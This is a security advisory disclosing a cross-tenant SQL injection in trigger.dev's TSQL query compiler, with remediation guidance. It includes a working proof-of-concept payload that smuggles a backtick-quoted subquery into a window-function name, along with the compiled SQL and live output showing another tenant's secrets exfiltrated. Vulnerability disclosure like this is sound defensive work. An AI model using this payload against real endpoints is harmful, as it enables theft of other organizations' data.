GHSA-9q4r-4842-93vw: SQL Injection
Summary
A cross-tenant SQL injection in the TSQL query compiler lets any authenticated trigger.dev customer read every other tenant's analytics data. The customer-facing query endpoint POST /api/v1/query accepts a TSQL/TRQL query that is compiled to ClickHouse SQL by internal-packages/tsql. The compiler parameterizes or escapes all user input and injects a per-tenant WHERE guard — except the window-function name, which is concatenated into the SQL string with no allowlist and no escaping. By smuggling a backtick-quoted identifier into that position, an attacker injects a raw subquery (e.g. (SELECT ... FROM taskrunsv2 WHERE organizationid = 'orgVICTIM')) that sits outside the tenant guard, exfiltrating another organization's rows. Verified end-to-end against the real compiler and a live ClickHouse.
Details
Vulnerable sink — internal-packages/tsql/src/query/printer.ts:3073-3075, ClickHousePrinter.visitWindowFunction:
ts private visitWindowFunction(node: WindowFunction): string { const args = node.args ? node.args.map((a) => this.visit(a)) : []; const funcCall = ${node.name}(${args.join(", ")}); // <-- node.name concatenated RAW ... }
node.name is emitted directly into the SQL with no allowlist check and no identifier escaping. This is the only place in the compiler where an attacker-influenced identifier reaches the output unguarded:
- The normal function-call path visitCall (printer.ts:2951) throws Unknown function for any name outside the hardcoded TSQLCLICKHOUSEFUNCTIONS / TSQLAGGREGATIONS allowlists — this gate is absent on the window-function path. - String constants are bound as ClickHouse queryparams (parameterized). - Other identifiers go through escapeClickHouseIdentifier. - Table functions (url()/file()/remote()/s3()) are rejected.
A backtick-quoted identifier is accepted by the lexer and unescaped into node.name by visitIdentifier (the backticks are stripped and the inner text is unescaped), so arbitrary characters — spaces, (, ), ,, ', a full subquery — become the "function name" and are printed verbatim.
How it bypasses tenant isolation. Multi-tenancy is enforced only by enforcedWhereClause, which is attached to the outer table's WHERE (organizationid/projectid/environmentid taken from the caller's API key). An injected subquery has no such guard, so it reads across all tenants.
Reachability — apps/webapp/app/routes/api.v1.query.ts: - body.query is a raw z.string(). - Auth is any environment-scoped credential — a private API key or a public JWT — i.e. any signed-up customer. - The route's authorization (detectTables(body.query) + everyResource) only authorizes the outer FROM table the caller is legitimately allowed to read. The injection rides in the SELECT/window position, so it is invisible to that check. - executeQuery passes the caller's organizationId/projectId/environmentId into the enforced WHERE. The compiled sql string is then sent to ClickHouse (internal-packages/clickhouse/src/client/tsql.ts) with the injected subquery embedded in the SQL string itself (not in bound params), so ClickHouse executes it.
PoC
Reproduced in two stages: (1) the project's real compileTSQL emits the injection; (2) a live ClickHouse executes it and returns another tenant's data.
1. Attacker TSQL input (sent as the query field to POST /api/v1/query with any valid API key / JWT, authenticated here as tenant1):
sql SELECT count() OVER (), (SELECT groupArray(payload) FROM triggerdev.taskrunsv2 WHERE organizationid = 'orgOTHERTENANT') AS stolen, dummy(() OVER () AS x FROM taskruns
2. Compiled ClickHouse SQL emitted by compileTSQL (verbatim):
sql SELECT count() OVER (), (SELECT groupArray(payload) FROM triggerdev.taskrunsv2 WHERE organizationid = 'orgOTHERTENANT') AS stolen, -- INJECTED, RAW, UNGUARDED dummy(() OVER () AS x FROM triggerdev.taskrunsv2 AS taskruns WHERE and(equals(taskruns.organizationid, {tsqlval0: String}), equals(taskruns.projectid, {tsqlval1: String}), equals(taskruns.environmentid, {tsqlval2: String})) -- guard ONLY on outer table LIMIT 10000
The injected subquery against orgOTHERTENANT is emitted raw (its org id is a literal, not a bound {tsqlval} param) and sits outside the tenant guard.
3. Live ClickHouse execution. A triggerdev.taskrunsv2 table seeded with two tenants; a syntactically-valid variant of the above run as a caller scoped to orgtenant1:
Seed: orgtenant1 -> payload 'tenant1-public-data' (attacker's own org) orgOTHERTENANT -> 'VICTIM-SECRET-stripeskliveDEADBEEF', 'VICTIM-SECRET-dbpasswordhunter2' (victim)
Baseline (legitimate tenant1 query, guard = orgtenant1): -> 'tenant1-public-data' (only own data)
Exploit (injected subquery, guard STILL orgtenant1): SELECT 1 AS keep, (SELECT groupArray(payload) FROM triggerdev.taskrunsv2 WHERE organizationid = 'orgOTHERTENANT') AS stolen, count() OVER () AS w FROM triggerdev.taskrunsv2 AS taskruns WHERE and(equals(taskruns.organizationid, 'orgtenant1'), ...) -> stolen = ['VICTIM-SECRET-stripeskliveDEADBEEF','VICTIM-SECRET-dbpasswordhunter2']
A caller scoped to orgtenant1 exfiltrated orgOTHERTENANT's secret payloads — cross-tenant SQL injection confirmed against the real compiler and a live ClickHouse.
Reproduce the compiler step with a vitest in internal-packages/tsql (mirrors the repo's src/query/security.test.ts tenant setup): compile the attacker string above with enforcedWhereClause set to orgtenant1 and assert the output contains (SELECT groupArray(payload) FROM triggerdev.taskrunsv2 WHERE organizationid = 'orgOTHERTENANT'). Then run that SQL against a ClickHouse seeded as above.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/trigger.devto a version that resolves this vulnerability.Fixed in 4.5.6
Event History
Frequently Asked Questions
Who can exploit this issue?
Any authenticated trigger.dev customer able to submit queries to the customer-facing POST /api/v1/query endpoint can exploit it. The issue can expose analytics data belonging to other tenants.
What does an attacker need to include in a malicious query?
The attacker needs to supply a TSQL/TRQL query using a window-function name containing a backtick-quoted identifier. That value is concatenated into ClickHouse SQL without allowlisting or escaping, allowing a subquery outside the per-tenant WHERE guard.